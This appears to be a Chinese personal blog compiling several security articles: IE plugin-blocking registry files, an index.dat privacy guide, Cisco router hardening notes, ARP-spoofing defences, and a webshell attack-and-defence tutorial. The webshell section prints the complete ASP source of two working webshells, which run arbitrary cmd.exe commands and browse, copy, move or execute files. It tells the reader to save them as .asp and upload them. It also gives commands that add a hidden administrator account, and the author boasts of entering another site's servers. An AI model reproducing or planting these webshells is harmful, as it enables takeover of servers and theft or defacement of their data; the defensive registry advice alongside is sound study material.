海东青's blog

      在浏览网页的时候半天不出，以为是死机了，晕，原来是插件，晕！

所以有高手开始屏蔽插件，下面是我学习过程中的一些注册表文件代码

对付3721：

REGEDIT5

#B83FC273-3522-4CC6-92EC-75CC86678DA4 /3721

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{B83FC273-3522-4CC6-92EC-75CC86678DA4}]

"Compatibility Flags"=dword:00000400

对付百度的：

REGEDIT5

#BC207F7D-3E63-4ACA-99B5-FB5F8428200C /Baidu

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BC207F7D-3E63-4ACA-99B5-FB5F8428200C}]

"Compatibility Flags"=dword:00000400

对付POPO的：

REGEDIT5

#CF051549-EDE1-40F5-B440-BCD646CF2C25 /POPO

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{CF051549-EDE1-40F5-B440-BCD646CF2C25}]

"Compatibility Flags"=dword:00000400

对付CNNIC的：

REGEDIT5

#9A578C98-3C2F-4630-890B-FC04196EF420 /CNNIC

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{9A578C98-3C2F-4630-890B-FC04196EF420}]

"Compatibility Flags"=dword:00000400



还有好多撒，有待大家发现

最后附上剑客大哥的注册表文件

REGEDIT4



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{B83FC273-3522-4CC6-92EC-75CC86678DA4}]

"Compatibility Flags"=dword:00000400



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{9A578C98-3C2F-4630-890B-FC04196EF420}]

"Compatibility Flags"=dword:00000400



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{CF051549-EDE1-40F5-B440-BCD646CF2C25}]

"Compatibility Flags"=dword:00000400



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{4EDBBAEA-F509-49F6-94D1-ECEC4BE5B686}]

"Compatibility Flags"=dword:00000400



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{BC207F7D-3E63-4ACA-99B5-FB5F8428200C}]

"Compatibility Flags"=dword:00000400



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{9BBC1154-218D-453C-97F6-A06582224D81}]

"Compatibility Flags"=dword:00000400



保存成.reg格式导入就可了撒！

      index.dat是一个具有“隐藏”属性的文件，它记录着通过浏览器访问过的网址、访问时间、历史记录等信息。实际上它是一个保存了cookie、历史记录和IE临时文件中所记录内容的副本 ，即使你在IE中把这些内容都清除了，但index.dat文件中的记录还是存在。 　　在Windows XP系统中的“Documents and Settings\\Cookies”、“Docum　　ents and Settings\\Local Settin　　gs\History\History.IE5”、“Documents and Se　　ttings\\Local Internet Files\Cont　　ent.IE5\”等文件夹中都存在着index.dat文件。　　系统为了保密是不会让你直接看到这些地方的index.dat文件的，就算你在文件夹选项中设置成了让系统显示所有文件和不隐藏受操作系统保护的文件，也同样看不到也搜索不到它们。你可以试着进入IE的临时文件夹“Temporary Internet Files”，但在窗口地址栏的“Temporary Internet Files”后面手工加上“\Content.IE5”，便能发现该文件夹下面居然还有别的文件和文件夹，index.dat文件也是其中之一(如图1)。 　　当我们浏览了相当多的网站后，这个文件的体积会越来越大，从数十KB 增加到几十MB。　　即使用户在IE中执行“删除脱机文件”、“清除历史记录”、“清除表单”等操作，在上述位置的index.dat文件也不会被删除。更让人恼火的是，如果你试图进入上述位置想人工删除它，系统会毫不客气地警告你“无法删除index:文件正被另一个人或程序使用。”倒底是谁在使用这个文件呢?答案就是系统自己。就算你重新启动系统且不打开任何程序窗口，同样无法用常规方法删除它。　　窥探你的上网记录　　前面说过，即使在IE 中执行了相关清理操作，index.dat文件中同样会保留着相关的网址信息，那么，如何通过这个文件来了解曾经造访过的网站呢?　　要查看index.dat中的内容，我们可借助第三方软件来实现，如“INDEX.DAT File Viewer”( http://www.sharewareriver.com/download.php?id=1195)。　　启动软件后，经过数秒钟的检索，它已经在窗口中显示出了以前的浏览记录——网址和访问时间等信息都赫然在列(如图2)。选中某个链接，还会在窗口右下方显示相关内容!王MM的上网浏览爱好，就是这样被人察觉的。 　　清除index.dat中的“内容”　　对于这个极可能泄露个人上网行为习惯的index.dat文件，很显然是不能被直接删除的，因为只要你登录系统，隶属于你的账户下的此文件便会被系统使用。那么，真没办法赶走它吗?非也!这里提供两种方法。　　方法一:在纯DOS模式下删除　　如果你的Windows XP安装在FAT32分区中，则可利用启动光盘引导系统到纯DOS模式下(不是Windows XP的命令提示符窗口)，然后进入index.dat所在目录中，用DEL命令来删除它，不过由于这个文件分散比较凌乱，因此有点麻烦(注意:由于C:\Documents and Settings\等是长文件名，所以要转换为8.3格式才能正常进入目录)。　　方法二:用Tracks Eraser Pro来删除　　手动进入各文件夹“干掉”index.dat文件肯定比较麻烦，再说了，如果系统没有安装在FAT32分区上就更不好办。最简单的方法还是使用专门的软件来完成这一“艰巨任务”。　　虽然声称能删除index.dat的软件很多，但是，经过笔者多次测试，发现真正能有效删除index.dat中记录的上网痕迹的软件还是Tracks Eraser Pro( http://www.acesoft.net/te5.exe)，其他很多软件都有些夸大其辞，执行清除后使用前面介绍的“INDEX.DAT File Viewer”仍然可以看到以前曾访问过的网址。　　在Tracks Eraser Pro中，先单击“Eraser Settings”按钮进行设置，重点是检查IE标签下的项目设置(最好全选)，尤其要确保勾选中“index. dat”。　　单击“OK”后回到主界面，点“Erase Now”按钮。很快，软件将根据设置清理你的上网痕迹。　　清理之后不妨测试一下效果:重新打开“INDEX.DAT File Viewer”让它自动扫描。结果，软件忙活了半天，在窗口中什么也不会列出来。和执行清理之前相比，你现在可以更放心了!

      前言：在各种网络上的服务器上，只要黑客能成功入侵不同配置的服务器，都会得到一定的权限，比较GUEST或SYSTEM权限等，但这些权限都是由于服务器管理员的配置不当或缺少管理经验而让黑客成功入侵的，只要我们给服务器上各种危险的组件及命令都加上一定的权限设置，那么就会得到最大的安全。下面我们来介绍一下NT系统下权限与黑客的较量，当然的的NT服务器不能是FAT32分区的，你的NT服务器必须采用NTFS分区，因为只有NTFS才能给你的服务器重要文件设置权限，如果是FAT32分区的，那就没有安全性可言了，以下介绍一些入侵防范实例大家就会知道设置权限的重要性了。 随着网络的高速发展，现在朋友们都装上了宽带网，做虚拟主机生意的提供商生意当然也越来越好了，做网站的朋友也比往年多了起来，但是现在的黑客们却喜欢上了在虚拟主机提供商的空间里放上一个webshell，以取得服务器的管理权，这是让服务器的管理员最头痛的事。黑客们通过各种 webshell 可以在服务器里运行CMD命令，还可以复制、删除文件，在线编辑文件，建立超级用户等。Webshell（也叫网页木马）在这里分很多种，如ASP、CGI、PHP、JSP的webshell都有，现在还流行 SQL 注入的xp_cmdshell等，都属于webshell中的其中一种，现在我们首先介绍的是黑客们称作为网页木马的各种webshell的攻击与防范方法。同时用这最简单的安全设置方法还能防范网络上的大部份溢出攻击等，如著名的 IDQ、IDA、WEBDAV 及RPC溢出……，都能让黑客取得你服务器的管理权，但是你通过这小小的安全配置，黑客们的溢出攻击你就不用再怕了。就算不打补丁也是安全的，相信吗？不信？请看下文！ 攻击与防范方法其实都是非常的简单，所以一般熟悉网页制作、还懂点CMD命令的朋友们都能学会的，在我看来没有太大的技术性可言，难度等级（初级）就是人人都可以学会的啦，但这份教程却能作为各WEB网站服务器管理员不管你是有多年的服务器管理经验还是新手，这份教程都能作为你最为有效防范WEBSHELL攻击及溢出攻击的方法参考资料。 一、基本ASP的WEBSHELL攻击与防范 以下我们以实例讲解ASP的三种Webshell攻击与防范方法(并提供webshell源代码)： 例一、种使用脚本绑定CMD命令： 这是一种使用脚本绑定CMD命令的攻击方法，其实asp的webshell并不止这一种，后面还会有介绍另外两种的 webshell攻击与防范方法。只要黑客在你的服务器上放上了这种 webshell ，你又没有适当的防范方法，那么你的服务器就会惨遭毒手，成了黑客们的肉鸡了。一般遭此毒手的服务器都是虚拟主机提供商的服务器，也有属于个人或公司的服务器，黑客是怎么样把这个 webshell传到你的服务器的呢？如果是传到虚拟主机提供商的WEB空间的，一般都是虚拟主机提供商的客户自己传的^_^，因为虚拟上机提供商的客户本身就拥有上传软件的权限，并拥有 http 服务的浏览地址。客户使用这种 webshell目的一般只想看看自己租用的服务器空间上存放了些什么文件或通过这个webshell 盗窃服务器上的某些重要资料。个人或公司的服务器，黑客怎么把这个 webshell传到服务器空间上的呢？呵呵，一般是通过服务器上某个如论坛、下载系统的脚本漏洞，通过这些漏洞取得在WWW上80端口上传文件的权限或通过某些漏洞使用TFTP服务把这个webshell传到你的服务器上的，由于我们这里只讲解这些 webshell是怎么样攻击的，所以并不提及到怎么样才能把这个 webshell传到服务器的空间上，本文假设你已经把这个 webshell传到了服务器空间上，你并取得了 http 的浏览地址，只要服务器是支持 asp 的，你就能使用这个 webshell取得服务器系统的管理权了，这种后门非常隐蔽，就算你重装了N次系统，打了N的的补丁也没效，因为这个漏洞是没有补丁的^_^，只要这个 webshell 还存在，黑客找到这个 webshell的WWW浏览地址，你的服务器一样会变成黑客的肉鸡，所以危害性极大。 如下图所示，我把一个文件名叫CMD.ASP的ASP脚本WEBSHELL文件传到了一台服务器IP为192.168.0.18的服务器上，把这个文件放到了FTP根目录里的webshell文件夹下，我们就能使用http://192.168.0.18/webshell/cmd.asp 的地址访问这个 webshell 了，我们可以在那个空白的表单里输入所有的CMD命令，如dir c:\ 等命令，如果你想在这台服务器里建立一个超用户，可以输入两行命令，第一行输入 net user netpk hacker /add 然后点击执行CMD命令按钮，就建立了一个普通用户netpk ，再输入第二行命令， net localgroup administrators netpk /add 这样就把刚才建立的普通用户 netpk 加入了超级用户管理级 administrators 组了，通过这些，我们可以确定这个webshell 有执行所有的CMD命令权限，你想干什么，不用我教你了吧，呵呵^_^。 下面附上这个 cmd.asp 脚本的源代码： 执行命令:<br> <% Dim oScript Dim oScriptnet Dim oFileSys, oFile Dim szCMD,szTempFile szCMD=request.form(".cmd") '从输入框得到cmd On Error Resume Next '如果出现错误，直接跳过，防止弹出错误窗口 set oScript=server.createobject("WSCRIPT.SHELL") '建立shell(wshshell)对象 set oFileSys=server.createobject("scripting.filesystemobject") szTempFile="C:\"& oFileSys.GetTempName() 'GetTempName()是fso建立临时文件的一种方法 Call oScript.Run ("cmd.exe /c "& szCMD &">" &szTempFile,0,true) '调用wshshell函数的run来执行命令，并把它重定向到临时文件夹中 set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0) '以读的方式打开临时文件 %> <HTML> <body bgcolor="#C0C0C0" text="#000000"> <FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=".CMD" size=45 value="<%= szCMD %>"> <input type=submit value="执行CMD命令" class=input> </FORM> <PRE> <% On Error Resume Next response.write server.HTMLEncode(oFile.ReadAll) '输出编码后的文件内容 oFile.close '关闭文件 call oFileSys.DeleteFile(szTempFile,True) '防止被抓住所以删除文件 %> </body> </html> 你只要把上面的代码写在记事本里，保存扩展名为 .ASP ，再传到你的虚拟主机空间就可以运行了。这种绑定CMD命令的脚本攻击防范方法有好几种，其实你如果要防范这种攻击，你只要把ASP中的FSO（Scripting.FileSystemObject）功能删除就行了，删除FSO权限方法就是在CMD的命令提示符下输入以下命令： Regsvr32 /u c:\winnt\system32\scrrun.dll 注意：在实际操作的时候要更改成为你本地系统安装目录的实际路径，但是使用这种方法删除也太绝了一点，如果以后我们想使用FSO权限，那就用不了啦。所以建议不要使用这种方法删除FSO权限， 但是，显而易见，如果这样做，那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject对象了，这其实并不是站点管理人员想要得到的结果，毕竟我们使用这个对象可以实现方便的在线站台管理，如果连系统管理员都没法使用了，那可就得不偿失了，但是不禁止这个危险的对象又会给自己的站点带来安全漏洞。那么有没有两全其美的方法呢？有！具体方法如下： 我们可以做到禁止其他人非法使用FileSystemObject对象,但是我们自己仍然可以使用这个对象. 方法如下: 查找注册表中 　 HKEY_CLASSES_ROOT\Scripting.FileSystemObject 键值 将其更改成为你想要的字符串(右键-->"重命名"),比如更改成为 HKEY_CLASSES_ROOT\Scripting.FileSystemObject2 这样,在ASP就必须这样引用这个对象了: Set fso = CreateObject("Scripting.FileSystemObjectnetpk") 而不能使用: 　 Set fso = CreateObject("Scripting.FileSystemObject") 如果你使用通常的方法来调用FileSystemObject对象就会无法使用了。 呵呵，只要你不告诉别人这个更改过的对象名称，其他人是无法使用FileSystemObject对象的。这样，作为站点管理者我们就杜绝了他人非法使用FileSystemObject对象，而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了！ 但这样做还是有一定的危害性的，因为这样配置的方法并不是十分的完善。只是简单地解决了FSO调用CMD命令和一些简单的ASP木马脚本，要知道WEBSHELL并不是只有ASP的一种，如CGI、PHP、JSP等都存在这样的WEBSHELL，如果你的服务器同时配置了支持CGI、PHP、JSP等，那可就惨了，因为如CGI等这些WEBSHELL是不须要FSO支持就能实现WEBSHELL的。所以你还得向下看，以下还有一些值得大家注意的WEBSHELL。 其实还有更简单实用的方法能防范这种使用ASP脚本绑定CMD命令的webshell，配置防范方法只须要30秒就行了，防范方法等介绍完了CGI、PHP、JSP等WEBSHELL再说，因为只要一种防范方法，就能防止这些脚本攻击及溢出攻击等，在最后我们介绍的防范方法对我们提及到的所有能绑定CMD的WEBSHELL都是能绝对能有效防范的。 例二、使用FSO权限对文件管理的WEBSHELL攻击与防范方法 以下我们介绍的是海阳顶端asp木马，这种WEBSHELL能通过网页在线更改、编辑、删除、移动、上传、下载服务器上的任意文件，只要黑客给你的服务器传上这个ASP木马，你的服务器上的所有文件就会控制在黑客的手上，黑客能在你的服务器干什么？就是上面提及到的。更改、删除、移动…… 如下图所示： 看到这个图，你也能想像到你的服务器到最后会变得怎么样了，你服务器上的资料将没有隐私可言了，想黑你服务器上的主页或是删除你服务器上的文件都是点几下鼠标就能办到的了。这种ASP木马网络上各黑客网站均有下载，源代码就不便写出来了。 防范方法：和例一的一样，这里不再重述。 后语：那是不是对于ASP的WEBSHELL就是关了FSO对像或给FSO在注册表里改名就行了呢？事实并不是这样的，因为ASP木马中还有一种是不需要FSO对像支持的，功能虽然并不是很强大，但是要黑一个网站的站，功能已经是很足够的了，这种木马令人防不胜防。以下请看例三。 例三：免FSO对像就能使用的ASP木马 对于这种免FSO对像就能使用的ASP木马，由于少了FSO对像的支持，功能上当然不会很强大的了，只有浏览服务器上的文件目录，复制、移动文件、执行指定路径的程序文件等功能。值得注意的是现在的虚拟主机提供商的虚拟主机大多数都还存在这个漏洞，看来这个漏洞那些服务器网管们是非得好好维护一下才行了。以下是当你浏览这个ASP木马时，所出现的图例。就连黑客基地的服务器也存在相同的漏洞。经本人测试结果，只要使用WEHSHELL就能很容易地取得黑客基地的管理权，但人家说我是黑基的副站长，所以就不干这事了。（编辑同志，我写的黑基这段话你可以删除的哈，因为黑基的服务器并不安全，草民就曾经进去帮他们参观过了。只是我一直没有心情通知那些吹牛B，自己的服务器都维护不好，还要收费教人家安全维护服务器的牛人。至于现在黑基还有没有存在这些漏洞我就不知道了，因为没心情帮他们测试了。） 你可以通过这个免FSO支持的ASP木马对服务器上的文件进行任意的复制及移动和执行程序，这个木马程的功能随然简单，但是用它来黑一个网站就是已经足够的了。比如，我们可以把网站的首页移动到其它地方，然后我们再复制一个同名的黑客网页进去就行了。使用执行程序功能让服务器执行任意的木马程序以取得服务器的ADMIN管理权等。 以下我给出这个免FSO对像的ASP源代码，代码如下： <%response.write "<font size=6 color=red>一次只能执行一个操作:)</font>" %> <%response.write now()%><BR>程序所在的物理路径： <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> <html> <title>asp's shell.application backdoor </title> <body> <form action="<%= Request.ServerVariables("URL") %>" method="POST"> <input type=text name=text value="<%=szCMD %>"> 输入要浏览的目录<br> <input type=text name=text1 value="<%=szCMD1 %>"> copy <input type=text name=text2 value="<%=szCMD2 %>"><br> <input type=text name=text3 value="<%=szCMD3 %>"> move <input type=text name=text4 value="<%=szCMD4 %>"><br> 路径：<input type=text name=text5 value="<%=szCMD5 %>"> 程序：<input type=text name=text6 value="<%=szCMD6 %>"><br> <input type=submit name=sb value=发送命令> </form> </body> </html> <% szCMD = Request.Form("text") '目录浏览 if (szCMD <> "") then set shell=server.createobject("shell.application") '建立shell对象 set fod1=shell.namespace(szcmd) set foditems=fod1.items for each co in foditems response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>" next end if %> <% szCMD1 = Request.Form("text1") '目录拷贝，不能进行文件拷贝 szCMD2 = Request.Form("text2") if szcmd1<>"" and szcmd2<>"" then set shell1=server.createobject("shell.application") '建立shell对象 set fod1=shell1.namespace(szcmd2) for i=len(szcmd1) to 1 step -1 if mid(szcmd1,i,1)="\" then path=left(szcmd1,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(szcmd1,len(szcmd1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command completed success!" end if %> <% szCMD3 = Request.Form("text3") '目录移动 szCMD4 = Request.Form("text4") if szcmd3<>"" and szcmd4<>"" then set shell2=server.createobject("shell.application") '建立shell对象 set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1 if mid(szcmd3,i,1)="\" then path=left(szcmd3,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(szcmd3,len(szcmd3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" end if %> <% szCMD5 = Request.Form("text5") '执行程序要指定路径 szCMD6 = Request.Form("text6") if szcmd5<>"" and szcmd6<>"" then set shell3=server.createobject("shell.application") '建立shell对象 shell3.namespace(szcmd5).items.item(szcmd6).invokeverb response.write "command completed success!" end if %> 你只要把上面的代码写在记事本里，保存扩展名为 .ASP ，再传到你的虚拟主机空间就可以运行了。 防范免FSO支持的ASP木马方法如下： 通过上面的代码，我们可以看出这段代码的SHELL是通过shell.application 建立 shell 对像的，我们只要在注册表里查找键值shell.application和 wscript.shell 键值，然后把这些键值删除，就能防止这一类的ASP木马攻击了，删除这些键值对你的服务器及ASP支持等不会造成影响的，所以请放心删除。 二、构建免受 FSO 威胁虚拟主机 现在绝大多数的虚拟主机都禁用了 ASP 的标准组件：FileSystemObject，因为这个组件为 ASP 提供了强大的文件系统访问能力，可以对服务器硬盘上的任何文件进行读、写、复制、删除、改名等操作（当然，这是指在使用默认设置的 Windows NT / 2000 下才能做到）。但是禁止此组件后，引起的后果就是

      路由器是网络中的神经中枢,广域网就是靠一个个路由器连接起来组成的,局域网中也已经普片的应用到了路由器,在很多企事业单位,已经用到路由器来接入网络进行数据通讯了,可以说,曾经神秘的路由器,现在已经飞入寻常百姓家了.

随着路由器的增多,路由器的安全性也逐渐成为大家探讨的一个热门话题了,岩冰今天也讲一讲网络安全中路由器的安全配置吧.以下文章是本人在工作过程中所记录的学习笔记,今天整理出来,跟大家共享,也算是抛砖引玉吧.



1.配置访问控制列表:



使用访问控制列表的目的就是为了保护路由器的安全和优化网络的流量.访问列表的作用就是在数据包经过路由器某一个端口时,该数据包是否允许转发通过,必须先在访问控制列表里边查找,如果允许,则通过.所以,保护路由器的前提,还是先考虑配置访问控制列表吧.



访问列表有多种形式,最常用的有标准访问列表和扩展访问列表.



创建一个标准访问控制列表的基本配置语法:access-list access-list-number{deny|permit} source [source-wildcard]



注释:access-list-number是定义访问列表编号的一个值,范围从1--99.参数deny或permit指定了允许还是拒绝数据包.参数source是发送数据包的主机地址.source-wildcard则是发送数据包的主机的通配符.在实际应用中,如果数据包的源地址在访问列表中未能找到,或者是找到了未被允许转发,则该包将会被拒绝.为了能详细解释一下,下面是一个简单访问列表示例介绍:



1) access-list 3 permit 172.30.1.0 0.0.0.255 */指明一个列表号为3的访问控制列表,并允许172.30.1.0这个网段的数据通过.0.0.0.255是通配符.

2) access-list 3 permit 10.1.1.0 0.0.15.255 */允许所有源地址为从10.1.0.0到10.1.15.255的数据包通过应用了该访问列表的路由器接口.

3) access-list 3 deny 172.31.1.0 0.0.0.255 */拒绝源IP地址为172.31.1.0到172.31.1.255的数据包通过该访问列表.



配置了访问列表后,就要启用访问控制列表,我们可以在接口配置模式下使用access-group或ip access-class命令来指定访问列表应用于某个接口.使用关键字in(out)来定义该接口是出站数据包还是入站数据包.

示例:ip access-group 3 in */定义该端口入站数据包必须按照访问列表3上的原则.



由于标准访问控制列表对使用的端口不进行区别,所以,引入了扩展访问控制列表(列表号从100--199).扩展访问列表能够对数据包的源地址,目的地址和端口等项目进行检查,这其中,任何一个项目都可以导致某个数据包不被允许经过路由器接口.简单的配置示例:



1) ip access-list 101 permit tcp any host 10.1.1.2 established log

2) ip access-list 101 permit tcp any host 172.30.1.3 eq www log

3) ip access-list 101 permit tcp any host 172.30.1.4 eq ftp log

4) ip access-list 101 permit tcp any host 172.30.1.4 log



注释:



第一行允许通过TCP协议访问主机10.1.1.2,如果没个连接已经在主机10.1.1.2和某个要访问的远程主机之间建立,则该行不会允许任何数据包通过路由器接口,除非回话是从内部企业网内部发起的.第二行允许任何连接到主机172.30.1.3来请求www服务,而所有其他类型的连接将被拒绝,这是因为在访问列表自动默认的在列表尾部,有一个deny any any语句来限制其他类型连接.第三行是拒绝任何FTP连接来访问172.30.1.4主机.第四行是允许所有类型的访问连接到172.30.1.4主机.



2.保护路由器的密码



1)禁用enable password命令,改密码加密机制已经很古老,存在极大安全漏洞,必须禁用,做法是:no enable password



2)利用enable secret命令设置密码,该加密机制是IOS采用了MD5散列算法进行加密,具体语法是:enable secret[level level] {password|encryption-type encrypted-password}

举例:

Ro(config-if)#enable secret level 9 ~@~!79#^&^089^ */设置一个级别为9级的~@~!79#^&^089^密码

Ro(config-if)#service router-encryption */启动服务密码加密过程



enable secret命令允许管理员通过数字0-15,来指定密码加密级别.其默认级别为15.



3.控制telnet访问控制



为了保护路由器访问控制权限,必须限制登陆访问路由器的主机,针对VTY(telnet)端口访问控制的方法,具体配置要先建立一个访问控制列表,如下示例,建立一个标准的访问控制列表(编号从1--99任意选择):



access-list 90 permit 172.30.1.45

access-list 90 permit 10.1.1.53



该访问列表仅允许以上两个IP地址之一的主机对路由器进行telnet访问,注意:创建该列表后必须指定到路由器端口某个端口上,具体指定方法如下:



line vty E0 4

access-class 90 in



以上配置是入站到E0端口的telnet示例,出站配置采用out,在这里将不再详细赘述.为了保护路由器的安全设置,也可以限制其telnet访问的权限,比如:通过分配管理密码来限制一个管理员只能有使用show命令的配置如下:



enable secret level 6 123456

privilege exec 6 show



给其分配密码为123456,telnet进入路由器后,只能用show命令,其他任何设置权限全部被限制.另外,也可以通过访问时间来限制所有端口的登陆访问情况,在超时的情况下,将自动断开,下面是一个配置所有端口访问活动3分30秒的设置示例:



exec-timeout 3 30



4.禁止CDP



CDP(Cisco Discovery Protocol)CISCO查找协议,该协议存在CISCO11.0以后的IOS版本中,都是默认启动的,他有一个缺陷就是:对所有发出的设备请求都做出应答.这样将威胁到路由器的泄密情况,因此,必须禁止其运行,方法如下:



no cdp run

管理员也可以指定禁止某端口的CDP,比如:为了让路由器内部网络使用CDP,而禁止路由器对外网的CDP应答,可以输入以下接口命令:



no cdp enable



5.HTTP服务的配置



现在许多CISCO设备,都允许使用WEB界面来进行控制配置了,这样可以为初学者提供方便的管理,但是,在这方便的背后,却隐藏了很大的危机,为了能够配置好HTTP服务,本文也提一下如何配置吧.



使用ip http server命令可以打开HTTP服务,使用no ip http server命令可以关闭HTTP服务.为了安全考虑,如果需要使用HTTP服务来管理路由器的话,最好是配合访问控制列表和AAA认证来做,也可以使用enable password命令来控制登陆路由器的密码.具体的配置是在全局模式下来完成的,下面是我们创建一个简单的标准访问控制列表配合使用HTTP服务的示例:

ip http server */打开HTTP服务

ip http port 10248 */定义10248端口为HTTP服务访问端口

access-list 80 permit host 10.0.0.1 */创建标准访问列表80,只允许10.0.0.1主机通过

ip http access-class 80 */定义了列表号为80的标准访问列表为HTTP服务允许访问的

ip http authentication aaa tacacs */增加AAA认证服务来验证HTTP控制的主机





6.写在最后的话

保护路由器并不是这样简单的事情,在很多实际应用中,还需要很多辅助配置.为了保护路由器,各种各样的安全产品都相继出现,比如给路由器添加硬件防火墙,配置AAA服务认证,设置IDS入侵检测等等吧.为了维护路由器的安全稳定工作,我要告诉大家最重要的还是配置最小化IOS,没有服务的设备,肯定没有人能够入侵,最小化的服务就是我们最大化的安全

      　对于ARP欺骗，提出几点加强安全防范的措施。环境是主机或者网关是基于Linux/BSD的。  

　　一、理论前提



　　本着“不冤枉好人，不放过一个坏人的原则”，先说说我的一些想法和理论依据。首先，大家肯定发送ARP欺骗包肯定是一个恶毒的程序自动发送的，正常的TCP/IP网络是不会有这样的错误包发送的(板砖扔了过来啊，废话!)。这就假设，如果犯罪嫌疑人没有启动这个破坏程序的时候，网络环境是正常的，或者说网络的ARP环境是正常的，如果我们能在犯罪嫌疑人启动这个犯罪程序的第一时间，一开始就发现了他的犯罪活动，那么就是人赃俱在，不可抵赖了，因为刚才提到，前面网络正常的时候证据是可信和可依靠的。好，接下来我们谈论如何在第一时间发现他的犯罪活动。



ARP欺骗的原理如下:



　　假设这样一个网络，一个Hub接了3台机器



　　HostA HostB HostC 其中



　　A的地址为:IP:192.168.10.1 MAC: AA-AA-AA-AA-AA-AA



　　B的地址为:IP:192.168.10.2 MAC: BB-BB-BB-BB-BB-BB



　　C的地址为:IP:192.168.10.3 MAC: CC-CC-CC-CC-CC-CC



　　正常情况下 C:\arp -a



　　Interface: 192.168.10.1 on Interface 0x1000003



　　Internet Address Physical Address Type



　　192.168.10.3 CC-CC-CC-CC-CC-CC dynamic



　现在假设HostB开始了罪恶的ARP欺骗:  





　　B向A发送一个自己伪造的ARP应答，而这个应答中的数据为发送方IP地址是192.168.10.3(C的IP地址)，MAC地址是DD-DD-DD-DD-DD-DD(C的MAC地址本来应该是CC-CC-CC-CC-CC-CC，这里被伪造了)。当A接收到B伪造的ARP应答，就会更新本地的ARP缓存(A可不知道被伪造了)。而且A不知道其实是从B发送过来的，A这里只有192.168.10.3(C的IP地址)和无效的DD-DD-DD-DD-DD-DD mac地址，没有和犯罪分子B相关的证据，哈哈，这样犯罪分子岂不乐死了。



　　现在A机器的ARP缓存更新了:



　　C:\>arp -a



　　Interface: 192.168.10.1 on Interface 0x1000003



　　Internet Address Physical Address Type



　　192.168.10.3 DD-DD-DD-DD-DD-DD dynamic



　　这可不是小事。局域网的网络流通可不是根据IP地址进行，而是按照MAC地址进行传输。现在192.168.10.3的MAC地址在A上被改变成一个本不存在的MAC地址。现在A开始Ping 192.168.10.3，网卡递交的MAC地址是DD-DD-DD-DD-DD-DD，结果是什么呢?网络不通，A根本不能Ping通C!!



　　所以，局域网中一台机器，反复向其他机器，特别是向网关，发送这样无效假冒的ARP应答信息包，NND，严重的网络堵塞就开始了!网吧管理员的噩梦开始了。我的目标和任务，就是第一时间，抓住他。不过从刚才的表述好像犯罪分子完美的利用了以太网的缺陷，掩盖了自己的罪行。但其实，以上方法也有留下了蛛丝马迹。尽管，ARP数据包没有留下HostB的地址，但是，承载这个ARP包的ethernet帧却包含了HostB的源地址。而且，正常情况下ethernet数据帧中，帧头中的MAC源地址/目标地址应该和帧数据包中ARP信息配对，这样的ARP包才算是正确的。如果不正确，肯定是假冒的包，可以提醒!但如果匹配的话，也不一定代表正确，说不定伪造者也考虑到了这一步，而伪造出符合格式要求，但内容假冒的ARP数据包。不过这样也没关系，只要网关这里拥有本网段所有MAC地址的网卡数据库，如果和Mac数据库中数据不匹配也是假冒的ARP数据包。也能提醒犯罪分子动手了。



二、防范措施  





　　1.建立DHCP服务器(建议建在网关上，因为DHCP不占用多少CPU，而且ARP欺骗攻击一般总是先攻击网关，我们就是要让他先攻击网关，因为网关这里有监控程序的，网关地址建议选择192.168.10.2 ，把192.168.10.1留空，如果犯罪程序愚蠢的话让他去攻击空地址吧)，另外所有客户机的IP地址及其相关主机信息，只能由网关这里取得，网关这里开通DHCP服务，但是要给每个网卡，绑定固定唯一IP地址。一定要保持网内的机器IP/MAC一一对应的关系。这样客户机虽然是DHCP取地址，但每次开机的IP地址都是一样的。



　　2.建立MAC数据库，把网吧内所有网卡的MAC地址记录下来，每个MAC和IP、地理位置统统装入数据库，以便及时查询备案。



　　3.网关机器关闭ARP动态刷新的过程，使用静态路邮，这样的话，即使犯罪嫌疑人使用ARP欺骗攻击网关的话，这样对网关也是没有用的，确保主机安全。



　　网关建立静态IP/MAC捆绑的方法是:建立/etc/ethers文件，其中包含正确的IP/MAC对应关系，格式如下:



　　192.168.2.32 08:00:4E:B0:24:47



　　然后再/etc/rc.d/rc.local最后添加:



　　arp -f 生效即可



　　4.网关监听网络安全。网关上面使用TCPDUMP程序截取每个ARP程序包，弄一个脚本分析软件分析这些ARP协议。ARP欺骗攻击的包一般有以下两个特点，满足之一可视为攻击包报警:第一以太网数据包头的源地址、目标地址和ARP数据包的协议地址不匹配。或者，ARP数据包的发送和目标地址不在自己网络网卡MAC数据库内，或者与自己网络MAC数据库 MAC/IP 不匹配。这些统统第一时间报警，查这些数据包(以太网数据包)的源地址(也有可能伪造)，就大致知道那台机器在发起攻击了。



　　5.偷偷摸摸的走到那台机器，看看使用人是否故意，还是被任放了什么木马程序陷害的。如果后者，不声不响的找个借口支开他，拔掉网线(不关机,特别要看看Win98里的计划任务)，看看机器的当前使用记录和运行情况，确定是否是在攻击。

